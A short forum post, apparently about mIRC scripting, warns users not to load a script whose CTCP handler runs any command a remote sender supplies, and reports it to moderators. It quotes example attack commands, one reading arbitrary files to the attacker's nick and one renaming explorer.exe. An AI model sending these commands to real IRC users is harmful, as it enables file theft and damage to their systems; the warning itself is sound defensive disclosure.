DO NOT LOAD THAT CODE!!!
it allows an attacker to send you a ctcp message such as...
ctcp uri do quit hacked!
you will then quit irc with the message hacked! It does it in a way you cannot see the information that is being passed. i.e you could be sent /ctcp uri do msg hackernick $read(anyfile) and you will message the hacker with whatever...
or /ctcp uri do rename C:\windows\explorer.exe C:\denied.bat
as you can see this is fairly dangerous if the hacker knows some good programming, he could basically take control of your PC and you wont know
I am flagging this for moderators too.
btk